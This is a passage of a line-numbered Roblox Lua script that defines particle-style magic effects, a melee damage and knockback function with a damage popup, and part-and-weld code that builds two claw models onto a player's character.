  2150. Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2151. Part.Transparency=i
  2152. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2153. end
  2154. Part.Parent=nil
  2155. end),prt,msh)
  2156. end
  2157.  
  2158. function MagicBlock2(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
  2159. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2160. prt.Anchored=false
  2161. prt.CFrame=cframe
  2162. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2163. local wld=weld(prt,prt,Parent,cframe)
  2164. game:GetService("Debris"):AddItem(prt,5)
  2165. coroutine.resume(coroutine.create(function(Part,Mesh,Weld)
  2166. for i=0,1,delay do
  2167. wait()
  2168. Weld.C0=euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))*cframe
  2169. --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2170. Part.Transparency=i
  2171. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2172. end
  2173. Part.Parent=nil
  2174. end),prt,msh,wld)
  2175. end
  2176.  
  2177. function MagicBlock3(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
  2178. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2179. prt.Anchored=false
  2180. prt.CFrame=cframe
  2181. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2182. local wld=weld(prt,prt,Parent,euler(0,0,0)*cf(0,0,0))
  2183. game:GetService("Debris"):AddItem(prt,5)
  2184. coroutine.resume(coroutine.create(function(Part,Mesh,Weld)
  2185. for i=0,1,delay do
  2186. wait()
  2187. Weld.C0=euler(i*20,0,0)
  2188. --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2189. Part.Transparency=i
  2190. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2191. end
  2192. Part.Parent=nil
  2193. end),prt,msh,wld)
  2194. end
  2195.  
  2196. function MagicCircle2(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2197. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2198. prt.Anchored=true
  2199. prt.CFrame=cframe
  2200. local msh=mesh("CylinderMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2201. game:GetService("Debris"):AddItem(prt,2)
  2202. coroutine.resume(coroutine.create(function(Part,Mesh)
  2203. for i=0,1,delay do
  2204. wait()
  2205. Part.CFrame=Part.CFrame
  2206. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2207. local prt2=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2208. prt2.Anchored=true
  2209. prt2.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2210. local msh2=mesh("SpecialMesh",prt2,"Sphere","",vt(0,0,0),vt(0.5,0.5,0.5))
  2211. game:GetService("Debris"):AddItem(prt2,2)
  2212. coroutine.resume(coroutine.create(function(Part,Mesh)
  2213. for i=0,1,0.1 do
  2214. wait()
  2215. Part.CFrame=Part.CFrame*cf(0,0.5,0)
  2216. end
  2217. Part.Parent=nil
  2218. end),prt2,msh2)
  2219. end
  2220. for i=0,1,delay*2 do
  2221. wait()
  2222. Part.CFrame=Part.CFrame
  2223. Mesh.Scale=vt((x1+x3)-(x1+x3)*i,(y1+y3)-(y1+y3)*i,(z1+z3)-(z1+z3)*i)
  2224. end
  2225. Part.Parent=nil
  2226. end),prt,msh)
  2227. end
  2228.  
  2229. function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2230. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2231. prt.Anchored=true
  2232. prt.CFrame=cframe
  2233. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  2234. game:GetService("Debris"):AddItem(prt,2)
  2235. coroutine.resume(coroutine.create(function(Part,Mesh)
  2236. for i=0,1,delay do
  2237. wait()
  2238. Part.CFrame=Part.CFrame
  2239. Part.Transparency=i
  2240. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2241. end
  2242. Part.Parent=nil
  2243. end),prt,msh)
  2244. end
  2245.  
  2246. function MagicRing(brickcolor,cframe,x1,y1,z1,x2,y2,z2,x3,y3,z3)
  2247. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2248. prt.Anchored=true
  2249. prt.CFrame=cframe*euler(x2,y2,z2)
  2250. --"http://www.roblox.com/asset/?id=168892465"
  2251. local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=3270017",vt(0,0,0),vt(x1,y1,z1))
  2252. game:GetService("Debris"):AddItem(prt,2)
  2253. coroutine.resume(coroutine.create(function(Part,Mesh)
  2254. for i=0,1,0.03 do
  2255. wait()
  2256. Part.CFrame=Part.CFrame
  2257. Part.Transparency=i
  2258. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2259. end
  2260. Part.Parent=nil
  2261. end),prt,msh)
  2262. end
  2263.  
  2264. function BreakEffect(brickcolor,cframe,x1,y1,z1)
  2265. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2266. prt.Anchored=true
  2267. prt.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2268. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  2269. game:GetService("Debris"):AddItem(prt,2)
  2270. coroutine.resume(coroutine.create(function(Part,CF,Numbb,randnumb)
  2271. CF=Part.CFrame
  2272. Numbb=0
  2273. randnumb=math.random()/10
  2274. rand1=math.random()/10
  2275. for i=0,1,rand1 do
  2276. wait()
  2277. CF=CF*cf(0,math.random()/2,0)
  2278. --Part.CFrame=Part.CFrame*euler(0.5,0,0)*cf(0,1,0)
  2279. Part.CFrame=CF*euler(Numbb,0,0)
  2280. Part.Transparency=i
  2281. Numbb=Numbb+randnumb
  2282. end
  2283. Part.Parent=nil
  2284. end),prt,CF,Numbb,randnumb)
  2285. end
  2286.  
  2287. function MagicWaveThing(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2288. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2289. prt.Anchored=true
  2290. prt.CFrame=cframe
  2291. msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=1051557",vt(0,0,0),vt(x1,y1,z1))
  2292. game:GetService("Debris"):AddItem(prt,5)
  2293. coroutine.resume(coroutine.create(function(Part,Mesh)
  2294. for i=0,1,delay do
  2295. wait()
  2296. Part.CFrame=Part.CFrame*euler(0,0.7,0)
  2297. Part.Transparency=i
  2298. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2299. end
  2300. Part.Parent=nil
  2301. end),prt,msh)
  2302. end
  2303.  
  2304. function WaveEffect(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2305. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2306. prt.Anchored=true
  2307. prt.CFrame=cframe
  2308. msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=20329976",vt(0,0,0),vt(x1,y1,z1))
  2309. game:GetService("Debris"):AddItem(prt,2)
  2310. coroutine.resume(coroutine.create(function(Part,Mesh)
  2311. for i=0,1,delay do
  2312. wait()
  2313. Part.CFrame=Part.CFrame*cf(0,y3/2,0)
  2314. Part.Transparency=i
  2315. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2316. end
  2317. Part.Parent=nil
  2318. end),prt,msh)
  2319. end
  2320.  
  2321. function StravEffect(brickcolor,cframe,x,y,z,x1,y1,z1,delay)
  2322. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2323. prt.Anchored=true
  2324. prt.CFrame=cframe*cf(x,y,z)
  2325. msh=mesh("SpecialMesh",prt,"FileMesh","rbxassetid://168892363",vt(0,0,0),vt(x1,y1,z1))
  2326. game:GetService("Debris"):AddItem(prt,5)
  2327. coroutine.resume(coroutine.create(function(Part,Mesh,ex,why,zee)
  2328. local num=math.random()
  2329. local num2=math.random(-3,2)+math.random()
  2330. local numm=0
  2331. for i=0,1,delay*2 do
  2332. swait()
  2333. Part.CFrame=cframe*euler(0,numm*num*10,0)*cf(ex,why,zee)*cf(-i*10,num2,0)
  2334. Part.Transparency=i
  2335. numm=numm+0.01
  2336. end
  2337. Part.Parent=nil
  2338. Mesh.Parent=nil
  2339. end),prt,msh,x,y,z)
  2340. end
  2341.  
  2342. Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
  2343. if hit.Parent==nil then
  2344. return
  2345. end
  2346. h=hit.Parent:FindFirstChild("Humanoid")
  2347. for _,v in pairs(hit.Parent:children()) do
  2348. if v:IsA("Humanoid") then
  2349. h=v
  2350. end
  2351. end
  2352. if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
  2353. h=hit.Parent.Parent:FindFirstChild("Humanoid")
  2354. end
  2355. if hit.Parent.className=="Hat" then
  2356. hit=hit.Parent.Parent:findFirstChild("Head")
  2357. end
  2358. if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
  2359. if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
  2360. --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
  2361. return
  2362. end]]
  2363. -- hs(hit,1.2)
  2364. c=Instance.new("ObjectValue")
  2365. c.Name="creator"
  2366. c.Value=owner
  2367. c.Parent=h
  2368. game:GetService("Debris"):AddItem(c,.5)
  2369. Damage=math.random(minim,maxim)
  2370. -- h:TakeDamage(Damage)
  2371. blocked=false
  2372. block=hit.Parent:findFirstChild("Block")
  2373. if block~=nil then
  2374. print(block.className)
  2375. if block.className=="NumberValue" then
  2376. if block.Value>0 then
  2377. blocked=true
  2378. if decreaseblock==nil then
  2379. block.Value=block.Value-1
  2380. end
  2381. end
  2382. end
  2383. if block.className=="IntValue" then
  2384. if block.Value>0 then
  2385. blocked=true
  2386. if decreaseblock~=nil then
  2387. block.Value=block.Value-1
  2388. end
  2389. end
  2390. end
  2391. end
  2392. if blocked==false then
  2393. -- h:TakeDamage(Damage)
  2394. h.Health=h.Health-Damage
  2395. showDamage(hit.Parent,Damage,.5,TorsoColor)
  2396. else
  2397. h.Health=h.Health-(Damage/2)
  2398. showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
  2399. end
  2400. if Type=="Knockdown" then
  2401. hum=hit.Parent.Humanoid
  2402. hum.PlatformStand=true
  2403. coroutine.resume(coroutine.create(function(HHumanoid)
  2404. swait(1)
  2405. HHumanoid.PlatformStand=false
  2406. end),hum)
  2407. local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
  2408. --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
  2409. local bodvol=Instance.new("BodyVelocity")
  2410. bodvol.velocity=angle*knockback
  2411. bodvol.P=5000
  2412. bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
  2413. bodvol.Parent=hit
  2414. rl=Instance.new("BodyAngularVelocity")
  2415. rl.P=3000
  2416. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  2417. rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
  2418. rl.Parent=hit
  2419. game:GetService("Debris"):AddItem(bodvol,.5)
  2420. game:GetService("Debris"):AddItem(rl,.5)
  2421. elseif Type=="Normal" then
  2422. vp=Instance.new("BodyVelocity")
  2423. vp.P=500
  2424. vp.maxForce=Vector3.new(math.huge,0,math.huge)
  2425. -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback
  2426. if KnockbackType==1 then
  2427. vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
  2428. elseif KnockbackType==2 then
  2429. vp.velocity=Property.CFrame.lookVector*knockback
  2430. end
  2431. if knockback>0 then
  2432. vp.Parent=hit.Parent.Torso
  2433. end
  2434. game:GetService("Debris"):AddItem(vp,.5)
  2435. elseif Type=="Up" then
  2436. local bodyVelocity=Instance.new("BodyVelocity")
  2437. bodyVelocity.velocity=vt(0,10,0)
  2438. bodyVelocity.P=1000
  2439. bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
  2440. bodyVelocity.Parent=hit
  2441. game:GetService("Debris"):AddItem(bodyVelocity,1)
  2442. rl=Instance.new("BodyAngularVelocity")
  2443. rl.P=3000
  2444. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  2445. rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  2446. rl.Parent=hit
  2447. game:GetService("Debris"):AddItem(rl,.5)
  2448. elseif Type=="Snare" then
  2449. bp=Instance.new("BodyPosition")
  2450. bp.P=2000
  2451. bp.D=100
  2452. bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  2453. bp.position=hit.Parent.Torso.Position
  2454. bp.Parent=hit.Parent.Torso
  2455. game:GetService("Debris"):AddItem(bp,1)
  2456. elseif Type=="Target" then
  2457. if Targetting==false then
  2458. ZTarget=hit.Parent.Torso
  2459. coroutine.resume(coroutine.create(function(Part)
  2460. so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5)
  2461. swait(5)
  2462. so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5)
  2463. end),ZTarget)
  2464. TargHum=ZTarget.Parent:findFirstChild("Humanoid")
  2465. targetgui=Instance.new("BillboardGui")
  2466. targetgui.Parent=ZTarget
  2467. targetgui.Size=UDim2.new(10,100,10,100)
  2468. targ=Instance.new("ImageLabel")
  2469. targ.Parent=targetgui
  2470. targ.BackgroundTransparency=1
  2471. targ.Image="rbxassetid://4834067"
  2472. targ.Size=UDim2.new(1,0,1,0)
  2473. cam.CameraType="Scriptable"
  2474. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2475. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  2476. workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2477. Targetting=true
  2478. RocketTarget=ZTarget
  2479. for i=1,Property do
  2480. --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
  2481. if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
  2482. swait()
  2483. end
  2484. --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
  2485. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2486. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  2487. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
  2488. end
  2489. Targetting=false
  2490. RocketTarget=nil
  2491. targetgui.Parent=nil
  2492. cam.CameraType="Custom"
  2493. end
  2494. end
  2495. debounce=Instance.new("BoolValue")
  2496. debounce.Name="DebounceHit"
  2497. debounce.Parent=hit.Parent
  2498. debounce.Value=true
  2499. game:GetService("Debris"):AddItem(debounce,Delay)
  2500. c=Instance.new("ObjectValue")
  2501. c.Name="creator"
  2502. c.Value=Player
  2503. c.Parent=h
  2504. game:GetService("Debris"):AddItem(c,.5)
  2505. CRIT=false
  2506. hitDeb=true
  2507. AttackPos=6
  2508. end
  2509. end
  2510.  
  2511. showDamage=function(Char,Dealt,du,Color)
  2512. m=Instance.new("Model")
  2513. m.Name=tostring(Dealt)
  2514. h=Instance.new("Humanoid")
  2515. h.Health=0
  2516. h.MaxHealth=0
  2517. h.Parent=m
  2518. c=Instance.new("Part")
  2519. c.Transparency=0
  2520. c.BrickColor=TorsoColor
  2521. c.Name="Head"
  2522. c.TopSurface=0
  2523. c.BottomSurface=0
  2524. c.formFactor="Plate"
  2525. c.Size=Vector3.new(1,.4,1)
  2526. ms=Instance.new("CylinderMesh")
  2527. ms.Scale=Vector3.new(.8,.8,.8)
  2528. so("http://www.roblox.com/asset/?id=199149269",c,1,1)
  2529. if CRIT==true then
  2530. ms.Scale=Vector3.new(1,1.25,1)
  2531. end
  2532. ms.Parent=c
  2533. c.Reflectance=0
  2534. Instance.new("BodyGyro").Parent=c
  2535. c.Parent=m
  2536. if Char:findFirstChild("Head")~=nil then
  2537. c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
  2538. elseif Char.Parent:findFirstChild("Head")~=nil then
  2539. c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
  2540. end
  2541. f=Instance.new("BodyPosition")
  2542. f.P=2000
  2543. f.D=100
  2544. f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  2545. f.position=c.Position+Vector3.new(0,3,0)
  2546. f.Parent=c
  2547. game:GetService("Debris"):AddItem(m,.5+du)
  2548. c.CanCollide=false
  2549. m.Parent=workspace
  2550. c.CanCollide=false
  2551. end
  2552.  
  2553. Player=owner
  2554. Character=Player.Character
  2555. m=Instance.new('Model',Character)
  2556.  
  2557.  
  2558. local function weldBetween(a, b)
  2559. local weldd = Instance.new("ManualWeld")
  2560. weldd.Part0 = a
  2561. weldd.Part1 = b
  2562. weldd.C0 = CFrame.new()
  2563. weldd.C1 = b.CFrame:inverse() * a.CFrame
  2564. weldd.Parent = a
  2565. return weldd
  2566. end
  2567.  
  2568. it=Instance.new
  2569.  
  2570. function nooutline(part)
  2571. part.TopSurface,part.BottomSurface,part.LeftSurface,part.RightSurface,part.FrontSurface,part.BackSurface = 10,10,10,10,10,10
  2572. end
  2573.  
  2574. function part(formfactor,parent,material,reflectance,transparency,brickcolor,name,size)
  2575. local fp=it("Part")
  2576. fp.formFactor=formfactor
  2577. fp.Parent=parent
  2578. fp.Reflectance=reflectance
  2579. fp.Transparency=transparency
  2580. fp.CanCollide=false
  2581. fp.Locked=true
  2582. fp.BrickColor=BrickColor.new(tostring(brickcolor))
  2583. fp.Name=name
  2584. fp.Size=size
  2585. fp.Position=Character.Torso.Position
  2586. nooutline(fp)
  2587. fp.Material=material
  2588. fp:BreakJoints()
  2589. return fp
  2590. end
  2591.  
  2592. function mesh(Mesh,part,meshtype,meshid,offset,scale)
  2593. local mesh=it(Mesh)
  2594. mesh.Parent=part
  2595. if Mesh=="SpecialMesh" then
  2596. mesh.MeshType=meshtype
  2597. mesh.MeshId=meshid
  2598. end
  2599. mesh.Offset=offset
  2600. mesh.Scale=scale
  2601. return mesh
  2602. end
  2603.  
  2604. function weld(parent,part0,part1,c0,c1)
  2605. local weld=it("Weld")
  2606. weld.Parent=parent
  2607. weld.Part0=part0
  2608. weld.Part1=part1
  2609. weld.C0=c0
  2610. weld.C1=c1
  2611. return weld
  2612. end
  2613.  
  2614. local modelzorz=Instance.new("Model")
  2615. modelzorz.Parent=Character
  2616. modelzorz.Name="Claw1"
  2617.  
  2618. Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
  2619. Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
  2620. mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2621. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2622. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
  2623. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2624. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
  2625. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2626. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2627. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
  2628. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2629. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
  2630. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2631. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
  2632. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2633. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
  2634. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2635. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
  2636. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2637. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
  2638. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2639. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
  2640. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2641. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
  2642. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2643. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
  2644. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2645. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2646. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
  2647. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2648. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
  2649. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2650. Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2651. Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
  2652. mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2653. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2654. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
  2655. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2656. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2657. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
  2658. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2659.  
  2660. local modelzorz2=Instance.new("Model")
  2661. modelzorz2.Parent=Character
  2662. modelzorz2.Name="Claw2"
  2663.  
  2664. Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
  2665. Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
  2666. mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2667. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
